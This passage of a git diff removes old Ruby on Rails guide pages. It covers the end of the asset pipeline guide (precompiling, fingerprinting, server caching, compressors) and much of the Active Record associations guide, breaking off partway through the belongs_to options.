-You can turn off debug mode by updating +config/environments/development.rb+ to include:
-
-<ruby>
-config.assets.debug = false
-</ruby>
-
-When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
-
-<html>
-<script src="/assets/application.js" type="text/javascript"></script>
-</html>
-
-Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response.
-
-If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
-
-Debug mode can also be enabled in the Rails helper methods:
-
-<erb>
-<%= stylesheet_link_tag "application", :debug => true %>
-<%= javascript_include_tag "application", :debug => true %>
-</erb>
-
-The +:debug+ option is redundant if debug mode is on.
-
-You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
-
-h3. In Production
-
-In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server.
-
-During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name.
-
-For example this:
-
-<erb>
-<%= javascript_include_tag "application" %>
-<%= stylesheet_link_tag "application" %>
-</erb>
-
-generates something like this:
-
-<html>
-<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script>
-<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" />
-</html>
-
-The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else).
-
-NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
-
-h4. Precompiling Assets
-
-Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
-
-Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory.
-
-You must use this task either during deployment or locally if you do not have write access to your production filesystem.
-
-The rake task is:
-
-<plain>
-bundle exec rake assets:precompile
-</plain>
-
-For faster asset precompiles, you can partially load your application by setting
-+config.assets.initialize_on_precompile+ to false, though in that case templates
-cannot see application objects or methods. *Heroku requires this to be false.*
-
-WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to
-test +rake assets:precompile+ locally before deploying. It may expose bugs where
-your assets reference application objects or methods, since those are still
-in scope in development mode regardless of the value of this flag.
-
-Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+:
-
-<erb>
-load 'deploy/assets'
-</erb>
-
-This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task.
-
-It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.
-
-NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
-
-The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+:
-
-<ruby>
-[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ]
-</ruby>
-
-If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
-
-<erb>
-config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
-</erb>
-
-The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like:
-
-<plain>
----
-rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
-jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
-jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
-application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
-application.css: application-8af74128f904600e41a6e39241464e03.css
-</plain>
-
-The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default).
-
-This can be changed with the +config.assets.manifest+ option. A fully specified path is required:
-
-<erb>
-config.assets.manifest = '/path/to/some/other/location'
-</erb>
-
-NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s).
-
-h5. Server Configuration
-
-Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
-
-For Apache:
-
-<plain>
-<LocationMatch "^/assets/.*$">
- # Some browsers still send conditional-GET requests if there's a
- # Last-Modified header or an ETag header even if they haven't
- # reached the expiry date sent in the Expires header.
- Header unset Last-Modified
- Header unset ETag
- FileETag None
- # RFC says only cache for 1 year
- ExpiresActive On
- ExpiresDefault "access plus 1 year"
-</LocationMatch>
-</plain>
-
-For nginx:
-
-<plain>
-location ~ ^/assets/ {
- expires 1y;
- add_header Cache-Control public;
-
- # Some browsers still send conditional-GET requests if there's a
- # Last-Modified header or an ETag header even if they haven't
- # reached the expiry date sent in the Expires header.
- add_header Last-Modified "";
- add_header ETag "";
- break;
-}
-</plain>
-
-When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. One the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
-
-Nginx is able to do this automatically enabling +gzip_static+:
-
-<plain>
-location ~ ^/(assets)/ {
- root /path/to/public;
- gzip_static on; # to serve pre-gzipped version
- expires max;
- add_header Cache-Control public;
-}
-</plain>
-
-This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation:
-
-<plain>
-./configure --with-http_gzip_static_module
-</plain>
-
-If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
-
-Unfortunately, a robust configuration for Apache is possible but tricky, please Google around.
-
-h4. Live Compilation
-
-In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
-
-To enable this option set:
-
-<erb>
-config.assets.compile = true
-</erb>
-
-On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
-
-Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
-
-This mode uses more memory, performs poorer than the default and is not recommended.
-
-When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
-
-<plain>
-group :production do
- gem 'therubyracer'
-end
-</plain>
-
-h3. Customizing the Pipeline
-
-h4. CSS Compression
-
-There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification.
-
-The following line enables YUI compression, and requires the +yui-compressor+ gem.
-
-<erb>
-config.assets.css_compressor = :yui
-</erb>
-
-The +config.assets.compress+ must be set to +true+ to enable CSS compression.
-
-h4. JavaScript Compression
-
-Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively.
-
-The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and other magical things like changing your +if+ and +else+ statements to ternary operators where possible.
-
-The following line invokes +uglifier+ for JavaScript compression.
-
-<erb>
-config.assets.js_compressor = :uglifier
-</erb>
-
-The +config.assets.compress+ must be set to +true+ to enable JavaScript compression
-
-NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
-
-h4. Using Your Own Compressor
-
-The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string.
-
-<erb>
-class Transformer
- def compress(string)
- do_something_returning_a_string(string)
- end
-end
-</erb>
-
-To enable this, pass a +new+ Object to the config option in +application.rb+:
-
-<erb>
-config.assets.css_compressor = Transformer.new
-</erb>
-
-
-h4. Changing the _assets_ Path
-
-The public path that Sprockets uses by default is +/assets+.
-
-This can be changed to something else:
-
-<erb>
-config.assets.prefix = "/some_other_path"
-</erb>
-
-This is a handy option if you have any existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource.
-
-h4. X-Sendfile Headers
-
-The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
-
-Apache and nginx support this option which is enabled in <tt>config/environments/production.rb</tt>.
-
-<erb>
-# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
-# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
-</erb>
-
-WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behavior.
-
-h3. How Caching Works
-
-Sprockets uses the default Rails cache store to cache assets in development and production.
-
-TODO: Add more about changing the default store.
-
-h3. Adding Assets to Your Gems
-
-Assets can also come from external sources in the form of gems.
-
-A good example of this is the +jquery-rails+ gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from +Rails::Engine+. By doing this, Rails is informed that the directory for this gem may contain assets and the +app/assets+, +lib/assets+ and +vendor/assets+ directories of this engine are added to the search path of Sprockets.
-
-h3. Making Your Library or Gem a Pre-Processor
-
-TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them.
-
-h3. Upgrading from Old Versions of Rails
-
-There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types.
-
-The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.
-
-In +application.rb+:
-
-<erb>
-# Enable the asset pipeline
-config.assets.enabled = true
-
-# Version of your assets, change this if you want to expire all your assets
-config.assets.version = '1.0'
-
-# Change the path that assets are served from
-# config.assets.prefix = "/assets"
-</erb>
-
-In +development.rb+:
-
-<erb>
-# Do not compress assets
-config.assets.compress = false
-
-# Expands the lines which load the assets
-config.assets.debug = true
-</erb>
-
-And in +production.rb+:
-
-<erb>
-# Compress JavaScripts and CSS
-config.assets.compress = true
-
-# Choose the compressors to use
-# config.assets.js_compressor = :uglifier
-# config.assets.css_compressor = :yui
-
-# Don't fallback to assets pipeline if a precompiled asset is missed
-config.assets.compile = false
-
-# Generate digests for assets URLs.
-config.assets.digest = true
-
-# Defaults to Rails.root.join("public/assets")
-# config.assets.manifest = YOUR_PATH
-
-# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
-# config.assets.precompile += %w( search.js )
-</erb>
-
-There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false.
-
-The following should also be added to +Gemfile+:
-
-<plain>
-# Gems used only for assets and not required
-# in production environments by default.
-group :assets do
- gem 'sass-rails', "~> 3.1.0"
- gem 'coffee-rails', "~> 3.1.0"
- gem 'uglifier'
-end
-</plain>
-
-If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement.
-
-<ruby>
-if defined?(Bundler)
- # If you precompile assets before deploying to production, use this line
- Bundler.require *Rails.groups(:assets => %w(development test))
- # If you want your assets lazily compiled in production, use this line
- # Bundler.require(:default, :assets, Rails.env)
-end
-</ruby>
-
-Instead of the old Rails 3.0 one
-
-<ruby>
-# If you have a Gemfile, require the gems listed there, including any gems
-# you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env) if defined?(Bundler)
-</ruby>
diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile
deleted file mode 100644
index 6829eb8ef4..0000000000
--- a/railties/guides/source/association_basics.textile
+++ /dev/null
@@ -1,1860 +0,0 @@
-h2. A Guide to Active Record Associations
-
-This guide covers the association features of Active Record. By referring to this guide, you will be able to:
-
-* Declare associations between Active Record models
-* Understand the various types of Active Record associations
-* Use the methods added to your models by creating associations
-
-endprologue.
-
-h3. Why Associations?
-
-Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
-
-<ruby>
-class Customer < ActiveRecord::Base
-end
-
-class Order < ActiveRecord::Base
-end
-</ruby>
-
-Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
-
-<ruby>
-@order = Order.create(:order_date => Time.now,
- :customer_id => @customer.id)
-</ruby>
-
-Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
-
-<ruby>
-@orders = Order.where(:customer_id => @customer.id)
-@orders.each do |order|
- order.destroy
-end
-@customer.destroy
-</ruby>
-
-With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :dependent => :destroy
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-</ruby>
-
-With this change, creating a new order for a particular customer is easier:
-
-<ruby>
-@order = @customer.orders.create(:order_date => Time.now)
-</ruby>
-
-Deleting a customer and all of its orders is _much_ easier:
-
-<ruby>
-@customer.destroy
-</ruby>
-
-To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
-
-h3. The Types of Associations
-
-In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
-
-* +belongs_to+
-* +has_one+
-* +has_many+
-* +has_many :through+
-* +has_one :through+
-* +has_and_belongs_to_many+
-
-In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
-
-h4. The +belongs_to+ Association
-
-A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-</ruby>
-
-!images/belongs_to.png(belongs_to Association Diagram)!
-
-h4. The +has_one+ Association
-
-A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
-end
-</ruby>
-
-!images/has_one.png(has_one Association Diagram)!
-
-h4. The +has_many+ Association
-
-A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
-
-!images/has_many.png(has_many Association Diagram)!
-
-h4. The +has_many :through+ Association
-
-A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
-
-<ruby>
-class Physician < ActiveRecord::Base
- has_many :appointments
- has_many :patients, :through => :appointments
-end
-
-class Appointment < ActiveRecord::Base
- belongs_to :physician
- belongs_to :patient
-end
-
-class Patient < ActiveRecord::Base
- has_many :appointments
- has_many :physicians, :through => :appointments
-end
-</ruby>
-
-!images/has_many_through.png(has_many :through Association Diagram)!
-
-The collection of join models can be managed via the API. For example, if you assign
-
-<ruby>
-physician.patients = patients
-</ruby>
-
-new join models are created for newly associated objects, and if some are gone their rows are deleted.
-
-WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
-
-The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
-
-<ruby>
-class Document < ActiveRecord::Base
- has_many :sections
- has_many :paragraphs, :through => :sections
-end
-
-class Section < ActiveRecord::Base
- belongs_to :document
- has_many :paragraphs
-end
-
-class Paragraph < ActiveRecord::Base
- belongs_to :section
-end
-</ruby>
-
-With +:through => :sections+ specified, Rails will now understand:
-
-<ruby>
-@document.paragraphs
-</ruby>
-
-h4. The +has_one :through+ Association
-
-A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
- has_one :account_history, :through => :account
-end
-
-class Account < ActiveRecord::Base
- belongs_to :supplier
- has_one :account_history
-end
-
-class AccountHistory < ActiveRecord::Base
- belongs_to :account
-end
-</ruby>
-
-!images/has_one_through.png(has_one :through Association Diagram)!
-
-h4. The +has_and_belongs_to_many+ Association
-
-A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
-
-<ruby>
-class Assembly < ActiveRecord::Base
- has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
- has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-!images/habtm.png(has_and_belongs_to_many Association Diagram)!
-
-h4. Choosing Between +belongs_to+ and +has_one+
-
-If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
-
-The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
-end
-
-class Account < ActiveRecord::Base
- belongs_to :supplier
-end
-</ruby>
-
-The corresponding migration might look like this:
-
-<ruby>
-class CreateSuppliers < ActiveRecord::Migration
- def change
- create_table :suppliers do |t|
- t.string :name
- t.timestamps
- end
-
- create_table :accounts do |t|
- t.integer :supplier_id
- t.string :account_number
- t.timestamps
- end
- end
-end
-</ruby>
-
-NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
-
-h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+
-
-Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
-
-<ruby>
-class Assembly < ActiveRecord::Base
- has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
- has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
-
-<ruby>
-class Assembly < ActiveRecord::Base
- has_many :manifests
- has_many :parts, :through => :manifests
-end
-
-class Manifest < ActiveRecord::Base
- belongs_to :assembly
- belongs_to :part
-end
-
-class Part < ActiveRecord::Base
- has_many :manifests
- has_many :assemblies, :through => :manifests
-end
-</ruby>
-
-The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database).
-
-You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
-
-h4. Polymorphic Associations
-
-A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
-
-<ruby>
-class Picture < ActiveRecord::Base
- belongs_to :imageable, :polymorphic => true
-end
-
-class Employee < ActiveRecord::Base
- has_many :pictures, :as => :imageable
-end
-
-class Product < ActiveRecord::Base
- has_many :pictures, :as => :imageable
-end
-</ruby>
-
-You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+.
-
-Similarly, you can retrieve +@product.pictures+.
-
-If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
-
-<ruby>
-class CreatePictures < ActiveRecord::Migration
- def change
- create_table :pictures do |t|
- t.string :name
- t.integer :imageable_id
- t.string :imageable_type
- t.timestamps
- end
- end
-end
-</ruby>
-
-This migration can be simplified by using the +t.references+ form:
-
-<ruby>
-class CreatePictures < ActiveRecord::Migration
- def change
- create_table :pictures do |t|
- t.string :name
- t.references :imageable, :polymorphic => true
- t.timestamps
- end
- end
-end
-</ruby>
-
-!images/polymorphic.png(Polymorphic Association Diagram)!
-
-h4. Self Joins
-
-In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
-
-<ruby>
-class Employee < ActiveRecord::Base
- has_many :subordinates, :class_name => "Employee"
- belongs_to :manager, :class_name => "Employee",
- :foreign_key => "manager_id"
-end
-</ruby>
-
-With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
-
-h3. Tips, Tricks, and Warnings
-
-Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
-
-* Controlling caching
-* Avoiding name collisions
-* Updating the schema
-* Controlling association scope
-
-h4. Controlling Caching
-
-All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
-
-<ruby>
-customer.orders # retrieves orders from the database
-customer.orders.size # uses the cached copy of orders
-customer.orders.empty? # uses the cached copy of orders
-</ruby>
-
-But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
-
-<ruby>
-customer.orders # retrieves orders from the database
-customer.orders.size # uses the cached copy of orders
-customer.orders(true).empty? # discards the cached copy of orders
- # and goes back to the database
-</ruby>
-
-h4. Avoiding Name Collisions
-
-You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
-
-h4. Updating the Schema
-
-Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table.
-
-h5. Creating Foreign Keys for +belongs_to+ Associations
-
-When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-</ruby>
-
-This declaration needs to be backed up by the proper foreign key declaration on the orders table:
-
-<ruby>
-class CreateOrders < ActiveRecord::Migration
- def change
- create_table :orders do |t|
- t.datetime :order_date
- t.string :order_number
- t.integer :customer_id
- end
- end
-end
-</ruby>
-
-If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
-
-h5. Creating Join Tables for +has_and_belongs_to_many+ Associations
-
-If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
-
-WARNING: The precedence between model names is calculated using the +&lt;+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
-
-Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
-
-<ruby>
-class Assembly < ActiveRecord::Base
- has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
- has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
-
-<ruby>
-class CreateAssemblyPartJoinTable < ActiveRecord::Migration
- def change
- create_table :assemblies_parts, :id => false do |t|
- t.integer :assembly_id
- t.integer :part_id
- end
- end
-end
-</ruby>
-
-We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
-
-h4. Controlling Association Scope
-
-By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
-
-<ruby>
-module MyApplication
- module Business
- class Supplier < ActiveRecord::Base
- has_one :account
- end
-
- class Account < ActiveRecord::Base
- belongs_to :supplier
- end
- end
-end
-</ruby>
-
-This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes:
-
-<ruby>
-module MyApplication
- module Business
- class Supplier < ActiveRecord::Base
- has_one :account
- end
- end
-
- module Billing
- class Account < ActiveRecord::Base
- belongs_to :supplier
- end
- end
-end
-</ruby>
-
-To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
-
-<ruby>
-module MyApplication
- module Business
- class Supplier < ActiveRecord::Base
- has_one :account,
- :class_name => "MyApplication::Billing::Account"
- end
- end
-
- module Billing
- class Account < ActiveRecord::Base
- belongs_to :supplier,
- :class_name => "MyApplication::Business::Supplier"
- end
- end
-end
-</ruby>
-
-h3. Detailed Association Reference
-
-The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
-
-h4. +belongs_to+ Association Reference
-
-The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
-
-h5. Methods Added by +belongs_to+
-
-When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association:
-
-* <tt><em>association</em>(force_reload = false)</tt>
-* <tt><em>association</em>=(associate)</tt>
-* <tt>build_<em>association</em>(attributes = {})</tt>
-* <tt>create_<em>association</em>(attributes = {})</tt>
-
-In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-</ruby>
-
-Each instance of the order model will have these methods:
-
-<ruby>
-customer
-customer=
-build_customer
-create_customer
-</ruby>
-
-NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
-
-h6(#belongs_to-association). <tt><em>association</em>(force_reload = false)</tt>
-
-The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-
-<ruby>
-@customer = @order.customer
-</ruby>
-
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-
-h6(#belongs_to-association_equal). <tt>_association_=(associate)</tt>
-
-The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
-
-<ruby>
-@order.customer = @customer
-</ruby>
-
-h6(#belongs_to-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
-
-The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
-
-<ruby>
-@customer = @order.build_customer(:customer_number => 123,
- :customer_name => "John Doe")
-</ruby>
-
-h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
-
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@customer = @order.create_customer(:customer_number => 123,
- :customer_name => "John Doe")
-</ruby>
-
-
-h5. Options for +belongs_to+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :counter_cache => true,
- :conditions => "active = 1"
-end
-</ruby>
-
-The +belongs_to+ association supports these options:
-
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:counter_cache+
-* +:dependent+
-* +:foreign_key+
-* +:include+
-* +:polymorphic+
-* +:readonly+
-* +:select+
-* +:touch+
-* +:validate+
-
-h6(#belongs_to-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#belongs_to-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :class_name => "Patron"
-end
-</ruby>
-
-h6(#belongs_to-conditions). +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL +WHERE+ clause).
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :conditions => "active = 1"
-end
-</ruby>
-
-h6(#belongs_to-counter_cache). +:counter_cache+
-
